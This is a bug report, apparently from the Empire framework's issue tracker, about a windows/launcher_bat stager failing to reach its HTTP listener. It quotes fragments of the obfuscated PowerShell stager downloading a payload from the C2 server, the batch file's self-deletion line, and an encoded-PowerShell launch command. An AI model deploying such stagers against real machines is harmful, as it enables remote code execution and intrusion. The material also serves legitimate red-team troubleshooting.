[BUG] windows/launcher_bat "Unable to connect to the remote server" error

[pawp81]

Empire Version

• Empire 3.2

OS Information (Linux flavor, Python version)

• OS: Kali Linux 2020.2
• Python: 3.8.2

Describe the bug
Executing windows/launcher_bat on Windows machine generates the error:
C:\Users>Exception calling "DownloadData" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1808

• ... NRp4B+j9djanl9ie81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$Da ...

•                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
  • FullyQualifiedErrorId : WebException

To Reproduce
Steps to reproduce the behavior:
Create http listener
Create windows/launcher_bat stager
Copy code of the stager launcher_bat from Kali to Windows
Execute the .bat. No connection to the listener
For troubleshooting purposes remove following lines from launcher.bat
@echo off
start /b "" cmd /c del "%%~f0"&exit /b
Modify following line start /b powershell line to:
start /b powershell -noP -sta -enc
Execute the launcher.bat
Following errors are returned:
C:\Users>Exception calling "DownloadData" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1808

• ... NRp4B+j9djanl9ie81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$Da ...

•                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
  • FullyQualifiedErrorId : WebException

Cannot index into a null array.
At line:1 char:1843

• ... 81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$DaTa[0..3];$DatA=$ ...

•                                               ~~~~~~~~~~~~~~~
  

  • CategoryInfo : InvalidOperation: (:) [], RuntimeException
  • FullyQualifiedErrorId : NullArray

Cannot index into a null array.
At line:1 char:1859

• ... OADDAta($SEr+$T);$IV=$DaTa[0..3];$DatA=$DAta[4..$Data.LeNGTH];-JOIn[C ...

•                                  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : InvalidOperation: (:) [], RuntimeException
  • FullyQualifiedErrorId : NullArray

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At line:1 char:1

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  • CategoryInfo : ObjectNotFound: (�:String) [], CommandNotFoundException
  • FullyQualifiedErrorId : CommandNotFoundException

Expected behavior
Successfuly connection to the empire listener

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[pawp81]

Sending file using nc resolve the problem